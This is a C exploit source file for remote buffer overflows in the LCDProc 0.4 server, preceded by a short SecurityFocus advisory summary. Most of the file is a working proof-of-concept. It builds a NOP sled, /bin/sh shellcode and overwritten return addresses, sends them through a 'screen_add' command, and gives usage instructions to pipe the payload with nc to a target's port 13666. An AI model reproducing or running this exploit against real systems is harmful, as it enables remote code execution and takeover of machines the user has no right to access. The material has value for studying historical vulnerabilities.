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73 lines
No EOL
2.4 KiB
C
73 lines
No EOL
2.4 KiB
C
// source: https://www.securityfocus.com/bid/1131/info
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A vulnerability exists in the server portion of version 0.4 of the LCDProc package. Several remote buffer overflows exist that could allow a remote attacker to corrupt memory and execute arbitrary code. As listed in the Bugtraq posting revealing this vulnerability, overflows exist at:
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parse.c:149: sprintf(errmsg, "huh? Invalid command \"%s\"\n", argv[0]);
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screenlist.c:119: sprintf(str, "ignore %s\n", old_s->id);
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screenlist.c:134: sprintf(str, "listen %s\n", s->id);
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It is possible to exploit this conditions to execute code with the privileges of the user LCDProc is running as.
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/*****
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* lcdproc-exploit.c
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*****
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*
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* LCDproc 0.4-pre9 exploit
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#
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# Andrew Hobgood <chaos@strange.net>
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* Kha0S on #LinuxOS/EFnet
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*
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* Tested on Linux/x86 2.2.5-15smp (the only Intel box I could get my hands
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* on for testing).
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*
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*****
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <unistd.h>
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#include <string.h>
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#define BUFFERSIZE 269
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#define NOP 0x90
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#define OFFSET 0xbffff750
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char shellcode[] =
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"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89"
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"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
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"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff"
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"\xff\xff/bin/sh";
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int main(int argc, char **argv) {
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char *ptr, buffer[BUFFERSIZE];
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unsigned long *long_ptr, offset = OFFSET;
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int aux;
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fprintf(stderr, "LCDproc exploit by Andrew Hobgood <chaos@strange.net>\n\n");
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fprintf(stderr, "Usage: (%s [<offset>]; cat) | nc <target> 13666\n\n", argv[0]);
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if (argc == 2) offset += atol(argv[1]);
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ptr = buffer;
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memset(ptr, 0, sizeof(buffer));
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memset(ptr, NOP, sizeof(buffer) - strlen(shellcode) - 16);
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ptr += sizeof(buffer) - strlen(shellcode) - 16;
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memcpy(ptr, shellcode, strlen(shellcode));
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ptr += strlen(shellcode);
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long_ptr = (unsigned long *) ptr;
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for(aux=0; aux<4; aux++) *(long_ptr++) = offset;
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ptr = (char *) long_ptr;
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*ptr = '\0';
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fprintf(stderr, "Buffer size: %d\n", (int) strlen(buffer));
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fprintf(stderr, "Offset: 0x%lx\n\n", offset);
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printf("hello\n");
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fflush(stdout);
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sleep(1);
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printf("screen_add {%s}\n", buffer);
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fflush(stdout);
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return(0);
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}
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/*** end lcdproc-exploit.c ***/ |